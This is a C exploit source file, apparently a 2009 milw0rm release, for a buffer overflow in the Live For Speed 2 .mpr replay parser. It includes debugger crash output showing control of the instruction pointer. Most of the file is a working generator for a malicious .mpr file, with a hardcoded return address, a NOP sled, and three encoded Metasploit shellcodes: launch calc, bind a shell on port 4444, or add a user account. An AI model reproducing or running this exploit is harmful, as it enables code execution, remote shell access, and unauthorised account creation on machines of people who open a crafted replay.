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/* Live For Speed 2 Version Z .Mpr Local buffer Overflow Exploit !!
X version .mpr header specifications can be found at http://www.lfs.net/?page=MPR
Version :Patch Z and all previous versions. Vendor :http://www.lfs.net/ Release date: July 14th 2009
Patch for this vulnerability can be found here Version Z15 lfs2.exe .
--Test Patch-- http://www.lfsforum.net/showthread.php?t=59326 --Test patch--
As you guys already know i had released 3 exploits for the lfs2 application a while ago.They where fixed by the developers and im sure they had checked all the vulnerable functions in there code after i pointed out there was issues.
By supplying a few bytes (0xEF 0xEF 0xEF) we can then manipulate the the registers taking full control over the application.
I decided to take another look into the file format and glean what information i could from this.And was manually testing lfs2 by hand then bam a heap overflow occurred.
At first execution of shell code was going to be tricky but i figured out a nice and easy way of gaining execution of Shellcode even being restricted by the shell code length. After we overwrote the exception handler we would only have 72bytes left for our shell code.
Special thanks to str0ke and aluigi for the heads up on compatibility issue between demo version vs full. Now will work for both full version and demo versions of lfs2.
Long live milw0rm:)
Credits to n00b for finding the bug and exploiting this vulnerability.
------------------------------------------- \=========================================/ ..Debug information collected .. /=========================================\ -------------------------------------------
......................................... --Convert unsigned integer to large integer-- .........................................
0:004> g
b38.9a0): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling.
This exception may be expected and handled. eax=153c3852 ebx=0012fb54 ecx=000000c4 edx=00000003 esi=153c353f edi=00130000 eip=00540923 esp=0012f980 ebp=0012f988 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210206 *** WARNING: Unable to verify checksum for C:\Documents and Settings\noob\Desktop\Lfs2\LFS.exe *** ERROR: Module load completed but symbols could not be loaded for C:\Documents and Settings\noob\Desktop\Lfs2\LFS.exe
LFS+0x140923: 00540923 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:000> !exploitable -v HostMachine\HostUser Executing Processor Architecture is x86 Debuggee is in User Mode Debuggee is a live user mode debugging session on the local machine Event Type: Exception Exception Faulting Address: 0x130000 First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005) Exception Sub-Type: Write Access Violation
Exception Hash (Major/Minor): 0x177c6043.0x3306303e
Stack Trace: LFS+0x140923 LFS+0x13c431 LFS+0x13c3bc LFS+0x4e9b6 Unknown Unknown Unknown LFS+0x4e7900 Unknown Unknown Unknown Unknown LFS+0x1efb76 Unknown Unknown Instruction Address: 0x540923
Description: User Mode Write AV Short Description: WriteAV Exploitability Classification: EXPLOITABLE Recommended Bug Title: Exploitable - User Mode Write AV starting at LFS+0x140923
---Note-- I knew it would be exploitable just wanted to check to see how !exploitable would report this issue. And i have to give it a Thumbs up for reporting this as exploitable. Below confirms this after we have found the correct offsets inside the mpr file and malnipulated them. --Note--
0:000> g (b38.9a0): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=00000000 ecx=42424242 edx=7c9037d8 esi=00000000 edi=00000000 eip=42424242 esp=0012f5b0 ebp=0012f5d0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246 42424242 ?? ???
0:000> kb ChildEBP RetAddr Args to Child WARNING: Frame IP not in any known module. Following frames may be wrong. 0012f5ac 7c9037bf 0012f698 0012ffb0 0012f6b4 0x42424242 0012f5d0 7c90378b 0012f698 0012ffb0 0012f6b4 ntdll!RtlConvertUlongToLargeInteger+0x7a 0012f680 7c90eafa 00000000 0012f6b4 0012f698 ntdll!RtlConvertUlongToLargeInteger+0x46 0012f988 0053c431 0012fb54 153c3093 000007bf ntdll!KiUserExceptionDispatcher+0xe 0012f9ac 0053c3bc ffffffff 00000001 ffffffff LFS+0x13c431 0012f9cc 0044e9b6 0012fb54 00000001 ffffffff LFS+0x13c3bc 0012fd40 2780a500 04000300 5259ab00 fc8a74ff LFS+0x4e9b6
FAULTING_IP: +42424242 42424242 ?? ???
EXCEPTION_RECORD: 000007bf -- (.exr 0x7bf) Cannot read Exception record @ 000007bf
FAULTING_THREAD: 000009a0 PROCESS_NAME: LFS.exe MODULE_NAME: LFS
FAULTING_MODULE: 7c900000 ntdll DEBUG_FLR_IMAGE_TIMESTAMP: 486b6f3b ERROR_CODE: (NTSTATUS) 0xc0000005 - EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - EXCEPTION_PARAMETER1: 00000000 EXCEPTION_PARAMETER2: 42424242 READ_ADDRESS: 42424242
FOLLOWUP_IP: LFS+18a89 00418a89 d8cb fmul st,st(3)
FAILED_INSTRUCTION_ADDRESS: +42424242 42424242 ?? ???
IP_ON_HEAP: 42424242 IP_IN_FREE_BLOCK: 42424242
CONTEXT: 153c3093 -- (.cxr 0x153c3093) Unable to get program counter eax=02660271 ebx=43298274 ecx=00004e4d edx=0000a804 esi=22613000 edi=4196573e eip=232b1919 esp=15008221 ebp=028a0289 iopl=0 nv up di pl nz na pe cy cs=190f ss=fe1b ds=84ec es=012e fs=84ee gs=0f95 efl=46040005 190f:1919 ?? ??? Resetting default scope
DEFAULT_BUCKET_ID: WRONG_SYMBOLS PRIMARY_PROBLEM_CLASS: WRONG_SYMBOLS BUGCHECK_STR: APPLICATION_FAULT_WRONG_SYMBOLS_BAD_INSTRUCTION_PTR LAST_CONTROL_TRANSFER: from 00418a89 to 232b1919 UNALIGNED_STACK_POINTER: 15008221 ------------------------------------------------------------------- */
/* ------------------------------------------- \=========================================/ ..Vulnerable source code.. /=========================================\ -------------------------------------------
int size = File_WordIn(&In); // read two bytes from the file byte read_buf[256]; // allocate temporary buffer on stack File_BlockIn(&In, read_buf, size); // read "size" bytes into the buffer
0xEFEF = 61423 copied into a 256 byte statically allocated buffer :)
*/
#include <stdio.h> #define Lfs_MprFile "n00b.mpr"
/* .Mpr File offsets StartOffset: 00000000, EndOffset: 0000175A, Length: 0000175B */
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/* Trigger the buffer overflow Do not edit Changing these values will change the way the exploit works and in some case render it unworkable the chars tested where 0xFF 0xEF if we change this to a char like 0x42 it will change the exception. */
unsigned char Trigger [] =
{ 0xEF, 0xEF, 0xEF };
/* win32_exec - EXITFUNC=seh CMD=calc Size=330 Encoder=Alpha2 http://metasploit.com */
unsigned char Calc_Shell_Code []= { "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x48" "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x65" "\x58\x50\x30\x42\x31\x42\x41\x6b\x41\x41\x75\x32\x41\x42\x41\x32" "\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x5a\x49\x4b\x4c\x4a" "\x48\x51\x54\x55\x50\x77\x70\x63\x30\x6c\x4b\x43\x75\x35\x6c\x4c" "\x4b\x41\x6c\x35\x55\x53\x48\x63\x31\x68\x6f\x4c\x4b\x70\x4f\x46" "\x78\x4e\x6b\x53\x6f\x75\x70\x36\x61\x6a\x4b\x53\x79\x4c\x4b\x55" "\x64\x4e\x6b\x74\x41\x68\x6e\x75\x61\x4b\x70\x4d\x49\x4c\x6c\x4c" "\x44\x6b\x70\x42\x54\x35\x57\x78\x41\x6b\x7a\x76\x6d\x63\x31\x58" "\x42\x68\x6b\x7a\x54\x77\x4b\x70\x54\x55\x74\x75\x54\x32\x55\x6a" "\x45\x6e\x6b\x31\x4f\x76\x44\x67\x71\x48\x6b\x70\x66\x6c\x4b\x76" "\x6c\x70\x4b\x4c\x4b\x73\x6f\x75\x4c\x55\x51\x7a\x4b\x4e\x6b\x45" "\x4c\x6c\x4b\x46\x61\x5a\x4b\x4f\x79\x61\x4c\x57\x54\x45\x54\x49" "\x53\x76\x51\x49\x50\x62\x44\x4e\x6b\x53\x70\x30\x30\x4b\x35\x4b" "\x70\x32\x58\x46\x6c\x6c\x4b\x61\x50\x64\x4c\x4c\x4b\x50\x70\x55" "\x4c\x4e\x4d\x4e\x6b\x43\x58\x76\x68\x48\x6b\x56\x69\x4c\x4b\x6d" "\x50\x6c\x70\x55\x50\x35\x50\x63\x30\x6c\x4b\x45\x38\x67\x4c\x31" "\x4f\x74\x71\x39\x66\x53\x50\x63\x66\x4c\x49\x4b\x48\x4c\x43\x4f" "\x30\x61\x6b\x50\x50\x55\x38\x6a\x50\x6c\x4a\x43\x34\x63\x6f\x55" "\x38\x6f\x68\x6b\x4e\x4c\x4a\x54\x4e\x53\x67\x79\x6f\x4d\x37\x51" "\x73\x72\x41\x50\x6c\x42\x43\x47\x70\x65" };
/* win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com */
unsigned char Bind_Shell_Code [] = { "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x37\x49\x49\x49\x49\x49" "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x69" "\x58\x50\x30\x42\x30\x42\x6b\x42\x41\x79\x32\x42\x42\x32\x41\x42" "\x42\x41\x30\x41\x41\x58\x38\x42\x42\x50\x75\x4d\x39\x39\x6c\x31" "\x7a\x4a\x4b\x72\x6d\x59\x78\x78\x79\x59\x6f\x49\x6f\x79\x6f\x45" "\x30\x4c\x4b\x70\x6c\x61\x34\x34\x64\x6c\x4b\x71\x55\x77\x4c\x4c" "\x4b\x63\x4c\x43\x35\x41\x68\x56\x61\x68\x6f\x4e\x6b\x70\x4f\x56" "\x78\x6e\x6b\x51\x4f\x65\x70\x77\x71\x5a\x4b\x31\x59\x6e\x6b\x47" "\x44\x6e\x6b\x45\x51\x6a\x4e\x75\x61\x6b\x70\x6c\x59\x6e\x4c\x4d" "\x54\x4f\x30\x31\x64\x54\x47\x59\x51\x39\x5a\x46\x6d\x77\x71\x39" "\x52\x78\x6b\x6b\x44\x57\x4b\x73\x64\x51\x34\x71\x38\x30\x75\x6d" "\x35\x6c\x4b\x71\x4f\x74\x64\x73\x31\x78\x6b\x51\x76\x4c\x4b\x74" "\x4c\x70\x4b\x4e\x6b\x51\x4f\x77\x6c\x36\x61\x4a\x4b\x43\x33\x56" "\x4c\x4e\x6b\x4c\x49\x30\x6c\x47\x54\x45\x4c\x31\x71\x78\x43\x30" "\x31\x4b\x6b\x50\x64\x6c\x4b\x50\x43\x70\x30\x4e\x6b\x57\x30\x34" "\x4c\x4e\x6b\x32\x50\x55\x4c\x6c\x6d\x4e\x6b\x41\x50\x63\x38\x61" "\x4e\x55\x38\x4e\x6e\x50\x4e\x66\x6e\x4a\x4c\x50\x50\x49\x6f\x6e" "\x36\x52\x46\x36\x33\x70\x66\x30\x68\x44\x73\x65\x62\x30\x68\x44" "\x37\x73\x43\x35\x62\x31\x4f\x71\x44\x4b\x4f\x38\x50\x45\x38\x5a" "\x6b\x78\x6d\x6b\x4c\x75\x6b\x56\x30\x79\x6f\x6b\x66\x61\x4f\x4f" "\x79\x6b\x55\x43\x56\x4c\x41\x7a\x4d\x37\x78\x35\x52\x66\x35\x50" "\x6a\x34\x42\x79\x6f\x58\x50\x41\x78\x78\x59\x67\x79\x4c\x35\x6e" "\x4d\x73\x67\x79\x6f\x4e\x36\x50\x53\x46\x33\x76\x33\x42\x73\x51" "\x43\x53\x73\x70\x53\x77\x33\x56\x33\x6b\x4f\x78\x50\x65\x36\x43" "\x58\x66\x71\x31\x4c\x73\x56\x33\x63\x6c\x49\x59\x71\x7a\x35\x30" "\x68\x4e\x44\x36\x7a\x62\x50\x39\x57\x76\x37\x6b\x4f\x6b\x66\x43" "\x5a\x32\x30\x72\x71\x32\x75\x39\x6f\x58\x50\x30\x68\x39\x34\x4e" "\x4d\x66\x4e\x4a\x49\x51\x47\x4b\x4f\x49\x46\x66\x33\x62\x75\x79" "\x6f\x4a\x70\x62\x48\x4d\x35\x33\x79\x6b\x36\x71\x59\x66\x37\x4b" "\x4f\x5a\x76\x76\x30\x50\x54\x70\x54\x70\x55\x4b\x4f\x6e\x30\x4a" "\x33\x30\x68\x4b\x57\x43\x49\x38\x46\x74\x39\x63\x67\x6b\x4f\x58" "\x56\x61\x45\x4b\x4f\x6e\x30\x51\x76\x41\x7a\x65\x34\x42\x46\x31" "\x78\x30\x63\x62\x4d\x6f\x79\x6b\x55\x33\x5a\x36\x30\x56\x39\x31" "\x39\x48\x4c\x4f\x79\x6d\x37\x73\x5a\x33\x74\x6b\x39\x6d\x32\x67" "\x41\x59\x50\x6c\x33\x6c\x6a\x79\x6e\x33\x72\x54\x6d\x49\x6e\x70" "\x42\x34\x6c\x6e\x73\x6c\x4d\x30\x7a\x34\x78\x4c\x6b\x4c\x6b\x4c" "\x6b\x42\x48\x50\x72\x39\x6e\x6d\x63\x52\x36\x49\x6f\x61\x65\x50" "\x44\x49\x6f\x7a\x76\x63\x6b\x71\x47\x31\x42\x73\x61\x51\x41\x66" "\x31\x30\x6a\x44\x41\x31\x41\x63\x61\x71\x45\x32\x71\x59\x6f\x6e" "\x30\x70\x68\x4c\x6d\x6e\x39\x53\x35\x7a\x6e\x41\x43\x49\x6f\x79" "\x46\x52\x4a\x6b\x4f\x6b\x4f\x65\x67\x4b\x4f\x7a\x70\x6e\x6b\x30" "\x57\x59\x6c\x6d\x53\x6a\x64\x50\x64\x39\x6f\x5a\x76\x52\x72\x39" "\x6f\x5a\x70\x50\x68\x58\x70\x6f\x7a\x54\x44\x63\x6f\x52\x73\x4b" "\x4f\x6a\x76\x49\x6f\x4e\x30\x69" };
/* win32_adduser - PASS=n00b EXITFUNC=seh USER=n00b Size=476 Encoder=Alpha2 http://metasploit.com */
unsigned char Add_User_Shell_Code []= { "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49" "\x49\x49\x49\x49\x49\x49\x37\x49\x49\x49\x49\x49\x51\x5a\x6a\x67" "\x58\x50\x30\x41\x31\x41\x42\x6b\x41\x41\x77\x32\x41\x42\x41\x32" "\x42\x41\x30\x42\x41\x58\x38\x41\x42\x50\x75\x6d\x39\x69\x6c\x7a" "\x48\x73\x74\x35\x50\x75\x50\x35\x50\x6c\x4b\x41\x55\x75\x6c\x4c" "\x4b\x41\x6c\x57\x75\x34\x38\x73\x31\x38\x6f\x6e\x6b\x42\x6f\x52" "\x38\x4c\x4b\x43\x6f\x57\x50\x33\x31\x38\x6b\x42\x69\x6e\x6b\x64" "\x74\x4c\x4b\x43\x31\x5a\x4e\x64\x71\x39\x50\x6d\x49\x4e\x4c\x4c" "\x44\x4f\x30\x50\x74\x77\x77\x59\x51\x48\x4a\x34\x4d\x44\x41\x68" "\x42\x4a\x4b\x49\x64\x57\x4b\x76\x34\x37\x54\x35\x54\x62\x55\x5a" "\x45\x6e\x6b\x41\x4f\x51\x34\x63\x31\x58\x6b\x73\x56\x6c\x4b\x66" "\x6c\x62\x6b\x4e\x6b\x33\x6f\x55\x4c\x44\x41\x38\x6b\x6c\x4b\x47" "\x6c\x6c\x4b\x44\x41\x48\x6b\x6b\x39\x51\x4c\x45\x74\x33\x34\x4f" "\x33\x46\x51\x4b\x70\x51\x74\x4e\x6b\x73\x70\x70\x30\x4e\x65\x4f" "\x30\x54\x38\x44\x4c\x4e\x6b\x51\x50\x66\x6c\x6e\x6b\x30\x70\x75" "\x4c\x6e\x4d\x4c\x4b\x30\x68\x43\x38\x38\x6b\x47\x79\x4e\x6b\x4f" "\x70\x58\x30\x77\x70\x57\x70\x37\x70\x4e\x6b\x70\x68\x65\x6c\x61" "\x4f\x35\x61\x59\x66\x31\x70\x61\x46\x6b\x39\x39\x68\x6c\x43\x6f" "\x30\x43\x4b\x72\x70\x71\x78\x58\x70\x6e\x6a\x55\x54\x73\x6f\x50" "\x68\x4e\x78\x4b\x4e\x6e\x6a\x44\x4e\x50\x57\x59\x6f\x6d\x37\x33" "\x53\x30\x6d\x70\x64\x56\x4e\x31\x75\x71\x68\x71\x75\x65\x70\x46" "\x4f\x53\x53\x55\x70\x52\x4e\x53\x55\x41\x64\x31\x30\x71\x65\x52" "\x53\x75\x35\x44\x32\x35\x70\x30\x6e\x36\x50\x70\x30\x30\x62\x45" "\x70\x42\x4e\x64\x70\x64\x70\x30\x62\x77\x50\x76\x4f\x33\x71\x32" "\x64\x42\x64\x51\x30\x61\x36\x37\x56\x57\x50\x70\x6e\x41\x75\x64" "\x34\x65\x70\x42\x4c\x32\x4f\x53\x53\x71\x71\x50\x6c\x41\x77\x42" "\x52\x30\x6f\x30\x75\x30\x70\x75\x70\x57\x31\x63\x54\x70\x6d\x41" "\x79\x30\x6e\x45\x39\x64\x33\x63\x44\x52\x52\x51\x71\x50\x74\x32" "\x4f\x70\x72\x53\x43\x35\x70\x52\x4e\x30\x30\x50\x30\x75\x32\x55" "\x70\x36\x4f\x50\x41\x30\x44\x43\x74\x77\x70\x67" };
unsigned char Buffer ='A'; /*Get us to our $eip register we dont want to trigger the the exception handlers*/
unsigned char Nop ='\x90'; /*We need to lay some nops down to land into our ebp register */
char Banner [] = { "-------------------------------------------------\n" "*************************************************\n" "* Live for speed .Mpr local file Heap overflow *\n" "*************************************************\n" "* This affects All Lfs2 Version's *\n" "*************************************************\n" "* *\n" "* Release Date :July 14th 2009 *\n" "*************************************************\n" "-------------------------------------------------\n" "Exploit created by n00b!!\n" "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n" "[1]. Calc Shell_Code\n" "[2]. Bind Shell_Code on port 4444\n" "[3]. Add user Shell_Code\n" "[4]. To exit and cancel\n" "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n" "Please chose your Shell_Code:\n"
};
/* Call ebp 0x00434929 Lfs2.exe :) Universal adress tested on Vista sp1 and xp sp3 <Eng>. */
char *Eip = "\x29\x49\x43\x00";
int main() { FILE *fp; int i,Cmd;
if ((fp = fopen(Lfs_MprFile, "wb")) == NULL) { printf("File %s write error\n", Lfs_MprFile); return(0); }
/* Lazy :) */ { for (i=0; i<sizeof(First_Header); i++) fputc(First_Header[i], fp); for (i=0; i<sizeof(Trigger); i++) /*Lets trigger our heap overflow*/ fputc(Trigger[i], fp); for (i=0;i<255;i++) fwrite(&Buffer,1,1,fp); for (i=0; i<sizeof(Eip); i++) fputc(Eip[i], fp); for (i=0;i<232;i++) fwrite(&Nop,1,1,fp); } /* Our Goal!! Fill the stack where our esp register is pointing. Until our Ebp register is filled with our nops. Then our shell code will be lying and waiting to be executed :) - The reason we over-flowed the $eip register then carried on till our $esp register was pointing to a 232 byte nop sled was because there is no universal address for a call or jmp esp in lfs.exe. But then why didn't i just overwrite the exception handlers and then use a pop pop ret address from with in the lfs2.exe.The reason is that We have only 72 bytes for our shell code the only way would be to use a egg hunter and load our shell code into the stack well before the exception handlers are over written.. - This is a much better way of dealing with this problem rather than adding a egg hunter If the conditions meet the right criteria. */
printf("%s ", Banner); scanf( "%d", &Cmd ); switch ( Cmd ) { case 1: fputs(Calc_Shell_Code,fp); break; case 2: fputs(Bind_Shell_Code,fp); break; case 3: fputs(Add_User_Shell_Code,fp); break; case 4: return(1); break; }
fclose(fp); return 0; }
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